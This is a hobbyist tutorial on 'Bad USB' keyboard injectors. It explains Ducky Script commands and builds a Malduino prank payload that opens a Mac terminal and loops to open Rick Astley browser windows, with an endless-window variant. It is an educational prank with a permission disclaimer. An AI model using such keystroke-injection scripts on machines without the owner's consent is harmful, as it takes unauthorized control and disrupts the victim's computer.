Introduction to Keyboard Injectors with Rick Astley

DISCLAIMER:

Code in this project utilizes your browser for purposes it was not intended for. Do not plug a bad USB into any computer without the proper permissions from its owner.

Bad USBs:

A “Bad USB” is a USB drive designed to perform malicious actions when plugged into a USB socket. This can range from frying a motherboard with high-voltage discharge to gaining a remote backdoor.

Keyboard Injectors

A Keyboard injector is a USB stick programmed to initiate keystrokes at superhuman speeds when plugged in.

One such device is the Malduino by Maltronics.

The Malduino Elite has 4 switches corresponding to binary values 1 and 0. Depending on the switch combination, a particular script stored on the micro sd card will execute. For example, 1010.txt for gaining a reverse shell and 1110.txt for DNS poisoning.

Ducky Script Basics

The Malduino uses a scripting language called ducky script.

DELAY

DELAY adds a pause in milliseconds to the script. This is useful if you want to give a process time to finish before executing the next line. The following is a delay of 1 second:

DELAY 1000

STRING and ENTER

STRING is used to simulate characters typed on the keyboard. For example,

STRING Hello!

would simulate the user typing “Hello!” on the keyboard. ENTER emulates the enter key.

STRING Hello!
ENTER

This will become useful once you need to navigate cmd/terminal or a built in search such as Spotlight.

GUI

GUI simulates the Super key. This would be the command key on Mac and the Windows key on Windows. With this you gain access to various keyboard shortcuts.

GUI r
STRING cmd
ENTER

This script uses the Windows-key+r shortcut to pull up the Windows’ “Run” box, type out cmd, and hit enter.

The Script:

Firstly, access a shell using the methods mentioned above. For Mac, access spotlight then navigate to the terminal with the proper delay times (tweak delays so script runs as fast as possible).

DELAY 2000
GUI space
DELAY 500
STRING terminal
DELAY 500
ENTER

Next, access a bash shell, in case bash isn’t the default shell, and write out the script The delays are too long. Make sure to tweak them for efficiency

DELAY 500
STRING bash
DELAY 500
ENTER

Create a loop to successively open browser windows, where N is the number of Windows to open.

STRING N=0
DELAY 500
ENTER
DELAY 500
STRING while [ $N -le 5 ]; do
DELAY 500
ENTER

Use this to open an endless amount of brower windows

STRING while: do

Use open in bash to open a browser with the specified link. The process may be slightly different on Windows, but the idea is still the same.

DELAY 500
STRING open https://www.youtube.com/watch?v=dQw4w9WgXcQ
DELAY 500
ENTER
DELAY 500
STRING N=$(( $N + 1 ))
DELAY 500
ENTER
DELAY 500
STRING done
DELAY 500
ENTER
DELAY 500